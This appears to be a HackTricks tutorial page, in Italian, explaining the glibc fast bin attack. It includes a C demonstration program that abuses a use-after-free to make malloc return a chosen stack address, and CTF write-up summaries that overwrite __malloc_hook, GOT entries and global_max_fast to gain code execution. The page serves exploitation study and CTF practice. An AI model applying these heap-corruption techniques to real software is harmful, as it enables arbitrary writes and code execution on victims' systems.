Fast Bin Attack

Reading time: 9 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Informazioni di Base

Per ulteriori informazioni su cosa sia un fast bin, controlla questa pagina:

Bins & Memory Allocations

Poiché il fast bin è una lista collegata singola, ci sono molte meno protezioni rispetto ad altri bin e modificare un indirizzo in un chunk fast bin liberato è sufficiente per poter allocare successivamente un chunk in qualsiasi indirizzo di memoria.

In sintesi:

c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Puoi trovare un esempio completo in un codice molto ben spiegato da https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

caution

Se è possibile sovrascrivere il valore della variabile globale global_max_fast con un numero grande, questo consente di generare chunk di fast bin di dimensioni maggiori, potenzialmente permettendo di eseguire attacchi fast bin in scenari in cui non era possibile in precedenza. Questa situazione è utile nel contesto dell'attacco a grande bin e dell'attacco a bin non ordinati

Esempi

  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
  • È possibile allocare chunk, liberarli, leggere i loro contenuti e riempirli (con una vulnerabilità di overflow).
  • Consolidare chunk per infoleak: La tecnica consiste fondamentalmente nell'abusare dell'overflow per creare un falso prev_size in modo che un chunk precedente venga inserito all'interno di uno più grande, quindi quando si allocca il più grande contenente un altro chunk, è possibile stampare i suoi dati e rivelare un indirizzo a libc (main_arena+88).
  • Sovrascrivere malloc hook: Per questo, e abusando della situazione di sovrapposizione precedente, è stato possibile avere 2 chunk che puntavano alla stessa memoria. Pertanto, liberandoli entrambi (liberando un altro chunk nel mezzo per evitare protezioni) è stato possibile avere lo stesso chunk nel fast bin 2 volte. Poi, è stato possibile allocarlo di nuovo, sovrascrivere l'indirizzo del chunk successivo per puntare a un po' prima di __malloc_hook (quindi punta a un intero che malloc pensa sia una dimensione libera - un altro bypass), allocarlo di nuovo e poi allocare un altro chunk che riceverà un indirizzo ai malloc hooks.
    Infine, un one gadget è stato scritto lì.
  • CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
  • C'è un overflow dell'heap e uso dopo la liberazione e doppia liberazione perché quando un chunk viene liberato è possibile riutilizzare e ri-liberare i puntatori.
  • Libc info leak: Basta liberare alcuni chunk e otterranno un puntatore a una parte della posizione dell'arena principale. Poiché è possibile riutilizzare i puntatori liberati, basta leggere questo indirizzo.
  • Attacco fast bin: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk di fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare a un po' prima di questo array di puntatori. Poi, allocare un paio di chunk della stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Possiamo ora sovrascrivere questi puntatori di allocazione per far sì che l'indirizzo GOT di free punti a system e poi scrivere "/bin/sh" nel chunk 1 per poi chiamare free(chunk1) che invece eseguirà system("/bin/sh").
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
  • Un altro esempio di abuso di un overflow di un byte per consolidare chunk nel bin non ordinato e ottenere un infoleak di libc e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo di one gadget.
  • CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
  • Dopo un infoleak abusando del bin non ordinato con un UAF per rivelare un indirizzo libc e un indirizzo PIE, l'exploit di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un luogo in cui si trovavano i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere determinati puntatori per scrivere un one gadget nel GOT.
  • Puoi trovare un attacco Fast Bin abusato attraverso un attacco a bin non ordinati:
  • Nota che è comune, prima di eseguire attacchi fast bin, abusare delle free-lists per rivelare indirizzi libc/heap (quando necessario).
  • Robot Factory. BlackHat MEA CTF 2022
  • Possiamo solo allocare chunk di dimensioni superiori a 0x100.
  • Sovrascrivere global_max_fast utilizzando un attacco a bin non ordinati (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).
  • Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce una primitiva di lettura/scrittura arbitraria, che consente di modificare il GOT e impostare alcune funzioni per puntare a system.

Unsorted Bin Attack

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks